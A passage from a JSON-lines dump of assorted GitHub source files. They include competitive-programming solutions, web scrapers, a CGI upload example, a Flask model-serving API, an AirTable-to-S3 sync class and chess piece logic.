in json_response:\n error_json = json_response['error']\n raise ConnectionRefusedError(error_json['message'])\n return json_response\n\n\ndef generate_url_query(query):\n return FACEBOOK_GRAPH_BASE_URL + query + \"&access_token=\" + TOKEN\n","repo_name":"ItsMemeNotMeem/memesReborn","sub_path":"python/src/model/scraper/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4825925663","text":"# cook your dish here\nimport math\nt = int(input())\nwhile(t):\n n = int(input())\n prof = 0\n while(n):\n s,p,v = input().split()\n s = int(s)\n p =int(p)\n v = int(v)\n k = math.floor(p/(s+1))\n if(k*v > prof):\n prof = k* v\n n = n-1\n print(prof)\n t =t -1\n ","repo_name":"salonishah01/DSA-Learning-Series-Codechef","sub_path":"LRNDSA02/STFOOD.py","file_name":"STFOOD.py","file_ext":"py","file_size_in_byte":329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"13396865671","text":"import argparse\nimport csv\nimport os\n\n# Arguments\n\nparser = argparse.ArgumentParser(\n description=\"Create site locations for import\")\nparser.add_argument(\"--existing_site_locations\", type=str,\n help=\"Existing site locations file\", required=False)\nparser.add_argument(\"--clientele_file\", type=str,\n help=\"Clientele file\", required=True)\nparser.add_argument(\"--target_file\", type=str,\n help=\"Target file for finding site locations\", required=True)\nparser.add_argument(\"--client_name_col\", type=str,\n help=\"Client name column name\", required=True)\nparser.add_argument(\"--acc_ref_col\", type=str,\n help=\"Account reference column name\", required=True)\nparser.add_argument(\"--property_type_col\", type=str,\n help=\"Property type column name\", required=True)\nparser.add_argument(\"--account_status_col\", type=str,\n help=\"Account status column name\", required=True)\nparser.add_argument(\"--site_address_prefix\", type=str,\n help=\"Site address prefix\", required=True)\n\nargs = parser.parse_args()\n\n# Read in existing locations\n# If we come across a row within the target file that is listing a location, client reference and client name to one that already exists, then we don't need to add this to the new file\n# We can simply skip. Otherwise, we do add it so that it can be imported\n\n# Constants\n\nif not os.path.exists(\"new_files\"):\n os.makedirs(\"new_files\")\n\nEXISTING_SITE_LOCATIONS = args.existing_site_locations\n\nCLIENTELE = args.clientele_file\nTARGET_FILE = args.target_file\n\nID_COL = \"fulcrum_id\"\nCLIENT_NAME_COL = args.client_name_col\nACC_REF_COL = args.acc_ref_col\nPROPERTY_TYPE_COL = args.property_type_col\nACCOUNT_STATUS_COL = args.account_status_col\n\nEXISTING_CLIENT_NAME_COL = \"client_name\"\nEXISTING_ACC_REF_COL = \"job_id\"\nEXISTING_SITE_ADDRESS_PREFIX = \"site_address_\"\n\n# This is for the JKMR app\nTRANSFORMATIONS = {\n \"account_status\": {\n \"Guarantee Period\": \"In guarantee period\",\n \"Ongoing\": \"Instructed, ongoing, scheduled Treatment\",\n \"Pending\": \"Not instructed\",\n \"On hold\": \"Treatments stopped (no guarantee)\",\n \"Ongoing (Scheduled Monitoring)\": \"Instructed, ongoing, scheduled monitoring\"\n },\n \"property_type\": {\n \"Commercial,Retail outlet\": \"Commercial,Retail\",\n \"Commercial,Hotel\": \"Commercial,Hospitality\",\n \"Commercial,Development site\": \"Commercial,Development\",\n \"Commercial,Construction site\": \"Commercial,Construction\",\n \"Health & Social Care\": \"Healthcare,Other\"\n }\n}\n\nsite_address_prefix = args.site_address_prefix\nsite_address_postfixes = [\"sub_thoroughfare\", \"thoroughfare\", \"locality\",\n \"sub_admin_area\", \"admin_area\", \"postal_code\", \"country\", \"full\"]\n\nsite_address_checks = [\"postal_code\", \"thoroughfare\",\n \"sub_thoroughfare\", \"locality\", \"admin_area\", \"country\"]\n\nrecord_rows = []\nclientele_rows = []\n\nexisting_site_locations = []\n\n# Read the existing site locations file\nif EXISTING_SITE_LOCATIONS and os.path.exists(EXISTING_SITE_LOCATIONS) and os.path.getsize(EXISTING_SITE_LOCATIONS) > 0:\n with open(EXISTING_SITE_LOCATIONS, \"r\") as f:\n reader = csv.DictReader(f)\n\n for row in reader:\n existing_site_locations.append(row)\n\nwith open(TARGET_FILE, \"r\") as f:\n record_reader = csv.DictReader(f)\n\n for row in record_reader:\n record_rows.append(row)\n\nwith open(CLIENTELE, \"r\") as f:\n clientele_reader = csv.DictReader(f)\n\n for row in clientele_reader:\n clientele_rows.append(row)\n\n# Create a dictionary of client names and their account references\nclient_details = {}\n\nfor row in record_rows:\n client_name = row[CLIENT_NAME_COL].strip()\n acc_ref = row[ACC_REF_COL]\n property_type_val = row[PROPERTY_TYPE_COL]\n account_status_val = row[ACCOUNT_STATUS_COL]\n\n if property_type_val in TRANSFORMATIONS[\"property_type\"]:\n property_type_val = TRANSFORMATIONS[\"property_type\"][property_type_val]\n\n if account_status_val in TRANSFORMATIONS[\"account_status\"]:\n account_status_val = TRANSFORMATIONS[\"account_status\"][account_status_val]\n\n data = {\n \"job_id\": acc_ref,\n \"property_type\": property_type_val,\n \"account_status\": account_status_val\n }\n\n # Create the site address\n site_address = {}\n for postfix in site_address_postfixes:\n site_address[site_address_prefix +\n postfix] = row[EXISTING_SITE_ADDRESS_PREFIX + postfix]\n\n found = False\n for existing_row in existing_site_locations:\n matches = False\n for check in site_address_checks:\n if existing_row[EXISTING_SITE_ADDRESS_PREFIX + check] == site_address[site_address_prefix + check]:\n matches = True\n else:\n matches = False\n break\n\n if matches and existing_row[EXISTING_CLIENT_NAME_COL] == client_name and existing_row[EXISTING_ACC_REF_COL] == acc_ref:\n # We don't need to add this to the new file\n found = True\n break\n\n if found:\n print(f\"Skipping {client_name} - {acc_ref}\")\n continue\n\n data = dict(data, **site_address)\n\n if client_name not in client_details:\n client_details[client_name] = {\"jobs\": [data]}\n else:\n client_details[client_name][\"jobs\"].append(data)\n\n# Create find the relevant clientele ID for each client\nfor client in client_details:\n for row in clientele_rows:\n if row[\"client_name\"] == client:\n client_details[client][\"id\"] = row[ID_COL]\n\n if \"id\" not in client_details[client]:\n print(f\"Could not find ID for \\\"{client}\\\"\")\n exit()\n\n# Write the site location to a file\nwith open(\"new_files\\\\new_site_locations.csv\", \"w\", newline=\"\") as f:\n writer = csv.writer(f)\n writer.writerow([\"client\", \"client_name\", \"job_id\",\n *[site_address_prefix + f for f in site_address_postfixes], \"property_type\", \"account_status\"])\n\n for client in client_details:\n for job in client_details[client][\"jobs\"]:\n client_info = client_details[client]\n writer.writerow([client_info[\"id\"], client, job[\"job_id\"],\n *[job[site_address_prefix + f] for f in site_address_postfixes], job[\"property_type\"], job[\"account_status\"]])\n","repo_name":"benbrunyee/fulcrum-export-import","sub_path":"create_site_locations.py","file_name":"create_site_locations.py","file_ext":"py","file_size_in_byte":6414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12433748834","text":"#!/usr/bin/python\n\n\"\"\"\nExtract file uploaded by http from brows, ths may only work \nfi file or dir is writable: a unix 'chmod 777 puloads'\nmy suffice\n\ncaveat: since file content always str from the cgi module, but this is a\ntemporary solution anyhow-- cgi module does't handle binary file upload in 3.1\nat all\n\n\"\"\"\n\n\nimport cgi, os\n\nform = cgi.FieldStorage()\n\n# A nested FieldStorage instance holds the file\nfileitem = form['clientfile']\n\nprint(\"COntent-type: text/html\\n\")\n\n# Test if the file was uploaded\nif fileitem.filename:\n\n # strip leading path from file name\n # to avoid directory traversal attacks\n fn = os.path.basename(fileitem.filename)\n open('uploads/' + fn, 'wb').write(fileitem.file.read())\n message = 'The file \"' + fn + '\" was uploaded successfully'\n\nelse:\n message = 'No file was uploaded'\n\nhtml = \"\"\"\n\n

    %s

    \n\n\"\"\"\n\n\nprint( html % message )\n","repo_name":"dehuagit/mypython","sub_path":"web/cgi-bin/putfile_ok.py","file_name":"putfile_ok.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4116260618","text":"import damiandicts\nimport unittest\n\nclass Test_Damiandicts(unittest.TestCase):\n def test_sort_list(self):\n result = damiandicts.sort_list()\n expected = [\n {'name':'damian', 'number':'0870673903'},\n {'name':'siobhan', 'number':'0876870880'},\n {'name':'gary', 'number':'0864072034'}\n ]\n self.assertTrue(result, expected)\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"romperstomper/utils","sub_path":"test_damiandicts.py","file_name":"test_damiandicts.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"37811149652","text":"import sys\n\ninput = sys.stdin.readline\nmset = set()\n\nfor _ in range(int(input())):\n mset.add(input().rstrip())\n\n# 길이 짧은 순, 같다면 사전순\nfor each in sorted(mset, key=lambda x : (len(x), x)):\n print(each)","repo_name":"KoKwanwun/Algorithm","sub_path":"Baekjoon/Silver/Silver 5/1181. 단어 정렬.py","file_name":"1181. 단어 정렬.py","file_ext":"py","file_size_in_byte":225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"43192386909","text":"#!/usr/bin/python3\n\"\"\"This script defines the function number_of_subscribers\n\"\"\"\n\n\ndef number_of_subscribers(subreddit):\n \"\"\"Get the number of subscribers for a subreddit\n\n Args:\n subreddit ([str]): subreddit to get\n\n Returns:\n [int]: numbers of subscribers or 0 if the subreddit is not valid\n \"\"\"\n import requests\n headers = {'User-Agent': 'Godfather'}\n about = requests.get(\n 'https://www.reddit.com/r/{}/about.json'.format(\n subreddit), headers=headers).json()\n try:\n subscribers = about.get('data').get('subscribers')\n if subscribers is None:\n raise TypeError\n return subscribers\n except:\n return 0\n","repo_name":"oimoralest/holberton-system_engineering-devops","sub_path":"0x16-api_advanced/0-subs.py","file_name":"0-subs.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"16275103801","text":"# Implement a list shuffling algorithm.\nimport random\n\ntestArray = [random.randint(-10, 10) for _ in range(10)]\nprint(f'Before shuffle: {testArray}')\n\nfor _ in range(10):\n pos1 = random.randint(0, 9)\n pos2 = random.randint(0, 9)\n testArray[pos1], testArray[pos2] = testArray[pos2], testArray[pos1]\n\nprint(f'Shuffled array is: {testArray}')","repo_name":"SineevAnton/LearningPythonLesson2","sub_path":"Task5/Task5.py","file_name":"Task5.py","file_ext":"py","file_size_in_byte":348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"22880982454","text":"import sys\nfrom pathlib import Path\n\n__dir__ = Path(__file__).absolute().parent\n# Remove current dir from sys.path, otherwise setuptools will peek up our\n# module instead of system's.\nsys.path.pop(0)\nfrom setuptools import setup\n\nsys.path.append(\".\")\nimport sdist_upip\n\nsetup(\n name='micropython-socks',\n py_modules=['socks'],\n version='1.0.2',\n description='MicroPython library implementing SOCKS server.',\n long_description='This library lets you start SOCKS server.',\n keywords='socks server proxy micropython',\n url='https://github.com/kost/micropython-socks',\n author='Vlatko Kosturjak',\n author_email='kost@linux.hr',\n maintainer='Vlatko Kosturjak',\n maintainer_email='kost@linux.hr',\n license='MIT',\n cmdclass={'sdist': sdist_upip.sdist},\n project_urls={\n 'Bug Reports': 'https://github.com/kost/micropython-socks/issues',\n 'Documentation': 'https://github.com/kost/micropython-socks/blob/master/README.md',\n 'Source': 'https://github.com/kost/micropython-socks',\n },\n classifiers = [\n 'Development Status :: 5 - Production/Stable',\n 'Programming Language :: Python :: Implementation :: MicroPython',\n 'License :: OSI Approved :: MIT License',\n ],\n)\n","repo_name":"kost/micropython-socks","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1250,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"48"} +{"seq_id":"44866371284","text":"# -- coding:utf-8 -- \n# @author 小脑斧不可爱\n# data 2022/5/6\n# file Apriori.py\nimport numpy as np\nimport pandas as pd\nfrom mlxtend.preprocessing import TransactionEncoder\nfrom mlxtend.frequent_patterns import apriori\n\nratings_path = \"D:\\\\development\\\\data_set\\\\ml-1m\\\\ratings.dat\"\nmovie_path = \"D:\\\\development\\\\data_set\\\\ml-1m\\\\movies.dat\"\n\ndef creat_user_movie_dic():\n dic={}\n file = \"D:\\\\development\\\\recommandSystem\\\\recommandSystem_experience\\\\movieLens\\\\apriori\\\\all_data.csv\"\n data = pd.read_csv(file,encoding='utf-8')\n all_data = np.array(data) # np.ndarray()每个姓名转换为一个list[]\n all_list = all_data.tolist() # 转换list\n print(len(all_list))\n # print(all_list)\n for item in all_list:\n # print(item[0])\n dic.setdefault(item[3], []).append(item[1])#将电影名加入对应用户的字典内,键为用户名,值为电影列表\n return dic\n\ndef getData():\n # ratings_csv = pd.read_csv(ratings_path)\n # movies_csv = pd.read_csv(movie_path)\n\n train = []\n test = []\n\n dic = creat_user_movie_dic()\n data = []\n for list in dic.values():\n data.append(list)\n # print(data)\n te = TransactionEncoder()\n X = te.fit_transform(data)\n colmns = te.columns_\n df = pd.DataFrame(X, columns=colmns)\n print(df)\n df.astype(np.uint8)\n result = apriori(df, min_support=0.3, use_colnames=True)\n print(result)\n frame = pd.DataFrame(result)\n frame_sort_values = frame.sort_values(by=\"support\", ascending=False)\n tolist = np.array(frame_sort_values).tolist()\n # print(tolist)\n # for row in tolist:\n # for r in row[1]:\n # row[1] = r\n # print(tolist)\n data_frame = pd.DataFrame(tolist)\n data_frame.to_csv(\"D:\\\\development\\\\recommandSystem\\\\recommandSystem_experience\\\\movieLens\\\\apriori\\\\apriori_rule.csv\")\n print(data_frame)\n\nif __name__ == '__main__':\n getData()\n","repo_name":"QAQ5685150/RecommendSystem","sub_path":"movieLens/Apriori.py","file_name":"Apriori.py","file_ext":"py","file_size_in_byte":1914,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"48"} +{"seq_id":"33842358539","text":"import requests\nfrom bs4 import BeautifulSoup\nfrom daum_new_fnc import get_news_title_and_content\n# 다음뉴스 목록 페이지에서 여러건의 뉴스(제목+본문) 수집\nurl=\"https://news.daum.net/breakingnews/digital\" # 뉴스 목록 url\n\n# 1.뉴스 목록 URL에서 1 건의 뉴스 URL 추출\nresult=requests.get(url) # 해당 URL의 전체 소스코드 get\nsoup=BeautifulSoup(result.text,\"html.parser\") # 전체소스코드 bs4 읽기(BS4화)\n\ntitle_list=soup.select(\"ul.list_news2 a.link_txt\") # BS4로 뉴스제목 목록 추출\n\nfor i,content in enumerate(title_list):\n new_url = content[\"href\"]\n title,content=get_news_title_and_content(new_url) # tuple로 받아 오는 거 그리고 언패킹해서 각각 할당\n print(\"@\"*100)\n print(f'URL: {new_url}')\n print(f\"{i+1}뉴스제목: {title}\")\n print(\"@\"*100)\n print(f\"뉴스본문: {content}\")\n","repo_name":"Mawangadulnemi/python_basic_notebook","sub_path":"Python_Basic_ch10_webcrawling/Daum_news_list.py","file_name":"Daum_news_list.py","file_ext":"py","file_size_in_byte":887,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12505614725","text":"from PyQt6.QtWidgets import QApplication, QWidget, QVBoxLayout\nfrom PyQt6.QtWidgets import QLabel, QPushButton, QLineEdit, QComboBox # combo = selectie de mai multe, cascada dropdown list\nfrom bs4 import BeautifulSoup\nimport requests\n\ndef get_currency(in_currency, out_currency):\n url = f\"https://www.x-rates.com/calculator/?from={in_currency}&to={out_currency}&amount=1\"\n content = requests.get(url).text\n soup = BeautifulSoup(content, \"html.parser\")\n rate = soup.find(\"span\", class_=\"ccOutputRslt\").get_text()\n rate = float(rate[0:-4])\n return rate\n\ndef show_currecy():\n input_text = float(text.text())\n in_cur= in_combo.currentText() #currentText()= preia textul din textul ales/ moneda\n target_cur= target_combo.currentText() #currentText()= preia textul din textul ales/ moneda\n rate= get_currency(in_cur, target_cur)\n output = round(input_text * rate, 2)\n message= f\"{input_text} {in_cur} is {output} {target_cur}\"\n output_label.setText(str(message))\n\napp= QApplication([])\nwindow= QWidget()\nwindow.setWindowTitle(\"Currency Converter\")\n\nlayout= QVBoxLayout()\n\nin_combo= QComboBox()\ncurrencies= [\"USD\", \"EUR\",\"INR\",\"RON\"]\nin_combo.addItems(currencies) #prima casuta combo\nlayout.addWidget(in_combo)\n\ntarget_combo= QComboBox()\ntarget_combo.addItems(currencies) #a doua casuta combo\nlayout.addWidget(target_combo)\n\ntext= QLineEdit()\nlayout.addWidget(text)\n\nbtn= QPushButton(\"Convert!\")\nlayout.addWidget(btn)\nbtn.clicked.connect(show_currecy)\n\noutput_label= QLabel(\"\")\nlayout.addWidget(output_label)\n\nwindow.setLayout(layout)\nwindow.show()\napp.exec()\n","repo_name":"overstac/Currency-converter-App-advanced","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"33754747931","text":"nc=int(input())\narr=list(map(int,input().split()))\nkrrc=[]\nyeah=0\nfor i in range(nc):\n\tif arr[i] in krrc:\n\t\tyeah=1\n\t\tans=arr[i]\n\t\tbreak\n\telse:\n\t\tkrrc.append(arr[i])\nif(yeah==1):\n\tprint(ans)\nelse:\n\tprint(\"unique\")\n","repo_name":"sangeethagopi/pytt1","sub_path":"a12.py","file_name":"a12.py","file_ext":"py","file_size_in_byte":213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"14890840487","text":"import torch\nimport torch_geometric.transforms as T\nfrom torch_geometric.data import Data\n\nnum_node = 15\nself_link = [(i, i) for i in range(num_node)]\ninward_ori_index = [(14, 1), (15, 14), (9, 15), (8, 15), (10, 8), (12, 10), (11, 9), (13, 11), (3, 14), (5, 3), (7, 5), (2, 14),\n (4, 2), (6, 4)]\n\ninward = [(i - 1, j - 1) for (i, j) in inward_ori_index]\noutward = [(j, i) for (i, j) in inward]\nneighbor = inward + outward\n\n\nclass Graph:\n def __init__(self, labeling_mode='spatial'):\n self.A = self.get_adjacency_matrix(labeling_mode)\n self.num_node = num_node\n self.self_link = self_link\n self.inward = inward\n self.outward = outward\n self.neighbor = neighbor\n\n def get_adjacency_matrix(self, labeling_mode=None):\n if labeling_mode is None:\n return self.A\n if labeling_mode == 'spatial':\n A = torch.tensor(self.get_spatial_graph(num_node, self_link, inward, outward), dtype=torch.float)\n return A\n else:\n raise ValueError()\n\n @staticmethod\n def get_spatial_graph(num_node, self_link, inward, outward):\n edge_index = torch.tensor(inward + outward, dtype=torch.long).t().contiguous()\n edge_index = torch.cat([edge_index, edge_index.flip([0])], dim=1)\n return edge_index\n\n\nif __name__ == '__main__':\n import matplotlib.pyplot as plt\n\n graph = Graph('spatial')\n edge_index = graph.get_adjacency_matrix('spatial')\n\n print(edge_index)\n\n data = Data(edge_index=edge_index)\n print(data)\n\n for i in range(num_node):\n plt.imshow(data.adjacency().to_dense(), cmap='gray')\n plt.title(f\"Node {i} adjacency matrix\")\n plt.show()\n","repo_name":"prasadmaduranga/Smarthome_CV","sub_path":"graph/smarthome_graph.py","file_name":"smarthome_graph.py","file_ext":"py","file_size_in_byte":1716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74563387666","text":"import scrapy , os\n\nclass DmozSpider(scrapy.Spider):\n name = \"yi_ge_nan_sheng_de_mei_li_ti_xian_zai_na_li\"\n allowed_domains = [\"zhihu.com\"]\n start_urls = [\n \"https://www.zhihu.com/question/266276255\",\n ]\n\n def parse(self, response):\n content = response.xpath('//*[@class=\"List-item\"]')\n ##//*[@id=\"QuestionAnswers-answers\"]/div/div/div[2]/div/div[2]/div/div[2]/div[1]\n print(len(content))\n print(content[0].extract())\n print(content[1].extract())\n #with open(self.name, 'xb') as f:\n # f.write(content)","repo_name":"fingerecho/spiders","sub_path":"scrapy_zhihu_com/scrapy_zhihu_com/spiders/yi_ge_nan_sheng_de_mei_li_ti_xian_zai_na_li_zhihu_com.py","file_name":"yi_ge_nan_sheng_de_mei_li_ti_xian_zai_na_li_zhihu_com.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"70445993425","text":"from config import redb\nfrom flask_sqlalchemy import SQLAlchemy\n\ndb = SQLAlchemy()\n\n\ndef reload_database(app):\n redb_type = redb.get(\"type\")\n if redb_type == 1:\n with app.app_context():\n db.drop_all()\n db.create_all()\n elif redb_type == 2:\n db.drop_all(app=app)\n db.create_all(app=app)\n","repo_name":"keyfall/stacks","sub_path":"utils/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"22351993956","text":"# -*- coding: utf-8 -*-\nimport unittest\nfrom unisender.tests.mock_api import unisender_test_api_correct_values\n\nclass MockApiTestCase(unittest.TestCase):\n\n def setUp(self):\n self.api = unisender_test_api_correct_values(object)\n\n def test__all_requirement_fields_present(self):\n kwargs = {'test': 1, 'test_1': 2}\n requirement_fields = ['test']\n self.assertIsNone(self.api.all_requirement_fields_present(\n requirement_fields, kwargs))\n self.assertRaises(NameError, self.api.all_requirement_fields_present,\n ['test_3'], kwargs)\n\n def test__not_documented_fields_not_present(self):\n kwargs = {'test': 1, 'test_1': 2}\n requirement_fields = ['test']\n all_fields = ['test_1']\n self.assertIsNone(self.api.not_documented_fields_not_present(\n requirement_fields, all_fields, kwargs))\n self.assertRaises(NameError, self.api.not_documented_fields_not_present,\n all_fields, ['test_3'], kwargs)\n","repo_name":"ITCase-django/django-unisender","sub_path":"unisender/tests/mock_api_tests.py","file_name":"mock_api_tests.py","file_ext":"py","file_size_in_byte":1032,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"19090040772","text":"from airtable_s3_integration import AirTableS3Integration\nfrom s3_utils import move_file, write_file, delete_file\nfrom typing import Dict, Any, List\nimport json\n\n\nclass AudioDashboardTable(AirTableS3Integration):\n def __init__(self, airtable_url: str, filter_formula: str, headers: Dict[str, str]):\n \"\"\"Constructor for the `AudioDashboardTable` class.\n\n Args:\n airtable_url (str): URL endpoint to AirTable table.\n filter_formula (str): Additional GET URL filter formula parameter.\n headers (Dict[str, str]): API Header containing authorization.\n \"\"\"\n super().__init__(airtable_url, filter_formula, headers)\n\n def _apply_annotation_changes_s3(self, record: Dict[str, Any]):\n \"\"\"Applies changes in an S3 directory based on an AirTable `record`'s category verdict.\n\n Args:\n record (Dict[str, Any]): An AirTable record/row.\n \"\"\"\n fields = record[\"fields\"]\n\n job_name, language = fields[\"Job Name\"], fields[\"Language\"]\n category, transcript = fields[\"Category\"].lower(), fields[\"Transcript\"]\n audio_filename = fields[\"Audio\"][0][\"filename\"]\n\n source_path = f\"categorisation/raw/{language}\"\n save_path = f\"categorisation/{category}/{language}\"\n\n if category == \"delete\":\n delete_file(self.bucket, audio_filename, source_path)\n else:\n move_file(self.bucket, audio_filename, source_path, save_path)\n write_file(self.bucket, transcript, save_path, f\"{job_name}.txt\")\n\n def _finalize_records(self, records: List[Dict[str, Any]]) -> str:\n \"\"\"Finalizes audio records by marking \"AWS\" column as `True`.\n\n Args:\n records (List[Dict[str, Any]]): AirTable records.\n\n Returns:\n str: Finalized record payload.\n \"\"\"\n payload = json.dumps(\n {\n \"records\": [\n {\"id\": record[\"id\"], \"fields\": {\"AWS\": True}} for record in records\n ]\n }\n )\n return payload\n","repo_name":"bookbot-kids/label-pipeline","sub_path":"src/airtable_apply_annotations/audio_dashboard_table.py","file_name":"audio_dashboard_table.py","file_ext":"py","file_size_in_byte":2064,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"13622441005","text":"import aiopg.sa\nfrom sqlalchemy import (\n MetaData, Table, Column,\n Integer, String, JSON, DateTime\n)\n\n__all__ = ['requests']\n\nmeta = MetaData()\n\nrequests = Table(\n 'requests', meta,\n Column('id', Integer, primary_key=True, autoincrement=True),\n Column('request_uuid', String(36), unique=True, nullable=False),\n Column('request_date', DateTime, nullable=False),\n Column('attachment', JSON, nullable=False),\n)\n\n\nasync def pg_context(app):\n conf = app['config']['postgres']\n engine = await aiopg.sa.create_engine(\n database=conf['database'],\n user=conf['user'],\n password=conf['password'],\n host=conf['host'],\n port=conf['port'],\n minsize=conf['minsize'],\n maxsize=conf['maxsize'],\n )\n app['db'] = engine\n\n yield\n\n app['db'].close()\n await app['db'].wait_closed()\n","repo_name":"AntonyBazin/aiohttp-in-docker","sub_path":"app/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"974873240","text":"from flask import Flask, jsonify, request\n# from flask_pymongo import PyMongo\nfrom flask_cors import CORS\nfrom joblib import load\nimport numpy as np\n\n# Instantiation\napp = Flask(__name__)\n# app.config['MONGO_URI'] = 'mongodb://localhost/pythonreact'\n# mongo = PyMongo(app)\n\n# # Settings\nCORS(app)\nmodel = load('model.joblib')\nlabels = ['setosa', 'versicolor', 'virginica']\n\n# # Database\n# # db = mongo.db.pythonreact\n\n# # Routes\n# @app.route('/users', methods=['POST'])\n# def createUser():\n# print(request.json)\n# id = db.insert({\n# 'name': request.json['name'],\n# 'email': request.json['email'],\n# 'password': request.json['password']\n# })\n# return jsonify(str(ObjectId(id)))\n\n\n# @app.route('/users', methods=['GET'])\n# def getUsers():\n# users = []\n# for doc in db.find():\n# users.append({\n# '_id': str(ObjectId(doc['_id'])),\n# 'name': doc['name'],\n# 'email': doc['email'],\n# 'password': doc['password']\n# })\n# return jsonify(users)\n\n# @app.route('/users/', methods=['GET'])\n# def getUser(id):\n# user = db.find_one({'_id': ObjectId(id)})\n# print(user)\n# return jsonify({\n# '_id': str(ObjectId(user['_id'])),\n# 'name': user['name'],\n# 'email': user['email'],\n# 'password': user['password']\n# })\n\n\n# @app.route('/users/', methods=['DELETE'])\n# def deleteUser(id):\n# db.delete_one({'_id': ObjectId(id)})\n# return jsonify({'message': 'User Deleted'})\n\n# @app.route('/users/', methods=['PUT'])\n# def updateUser(id):\n# print(request.json)\n# db.update_one({'_id': ObjectId(id)}, {\"$set\": {\n# 'name': request.json['name'],\n# 'email': request.json['email'],\n# 'password': request.json['password']\n# }})\n# return jsonify({'message': 'User Updated'})\n\n@app.route('/data', methods=['POST'])\ndef submit_data():\n print(request.json)\n data = request.json\n v1 = float(data['v1'])\n v2 = float(data['v2'])\n v3 = float(data['v3'])\n v4 = float(data['v4'])\n result = model.predict(np.array([[v1,v2,v3,v4]]))\n return jsonify({ 'message': 'Data received', 'data': labels[result[0]], 'inputData': data })\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n","repo_name":"SCREEDCORP/modelo_despliegue","sub_path":"backend/src/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6602608849","text":"import os\nimport pandas as pd\nimport numpy as np\n\nfrom sklearn.neighbors import LocalOutlierFactor\nfrom sklearn.decomposition import PCA\n\n\nclass SampleReduction():\n def __init__(self) -> None:\n pass\n \n # LOF works well for high dimensional data\n # For hints see: https://towardsdatascience.com/4-machine-learning-techniques-for-outlier-detection-in-python-21e9cfacb81d\n def remove_outliers(self, data_X, data_y) -> pd:\n \n # Extract the features\n X = data_X.values\n\n # Set LOF parameters for feature outlier detection\n n_neighbors = 20\n contamination = 0.03\n \n # Perform PCA for a more stable outlier detection (will just be used to find the indices, transformed data will not be used)\n # But it is not necessary to perform PCA for LOF, as no difference (at least not for my datasets)\n pca = PCA(n_components=8)\n pca.fit(X)\n X = pca.transform(X)\n\n # Fit the LOF model for feature outlier detection\n lof = LocalOutlierFactor(n_neighbors=n_neighbors, contamination=contamination)\n lof.fit(X)\n\n # Predict the outlier scores for feature outlier detection\n scores = lof.negative_outlier_factor_\n\n # Determine the threshold for outlier detection for feature outlier detection\n threshold = np.percentile(scores, 100 * contamination)\n\n # Identify the feature outliers\n outliers = X[scores < threshold]\n\n # Print the number of outliers and their indices for feature outlier detection\n print('Number of sample (rows) outliers:', len(outliers))\n outlier_rows = [i for i, x in enumerate(X) if any((x == y).all() for y in outliers)]\n\n # Create a new dataframe with outliers removed\n data_X_no_outliers = data_X.drop(index=outlier_rows)\n data_y_no_outliers = data_y.drop(index=outlier_rows)\n\n return data_X_no_outliers, data_y_no_outliers","repo_name":"Zeulni/wellbeing-audio-analysis","sub_path":"src/audio/perma_model/sample_reduction.py","file_name":"sample_reduction.py","file_ext":"py","file_size_in_byte":1941,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"25617454897","text":"from ChessLogic.Piece import Piece\r\nfrom ChessLogic.Rook import Rook\r\n\r\n\r\nclass Bishop(Piece):\r\n id = \"bishops\"\r\n\r\n def populate_movable(self, queen=False) -> None:\r\n if not queen:\r\n self.safe_moves()\r\n if self.pinned:\r\n return\r\n\r\n # Coordinate pair zip objects for all possible moves\r\n # to be tested\r\n # Order of generation: left and up, left and down,\r\n # right and up, right and down\r\n for diag in self.diagonal_from:\r\n for crd in diag:\r\n if self.b[crd].piece:\r\n if self.b[crd].piece and self.b[crd].piece.color != self.color:\r\n self.movable_spaces.add(crd)\r\n break\r\n break\r\n self.movable_spaces.add(crd)\r\n\r\n def attack_spaces(self):\r\n for axis in self.diagonal_from:\r\n for crd in axis:\r\n self.attacking_spaces.add(crd)\r\n if self.b[crd].piece:\r\n break\r\n 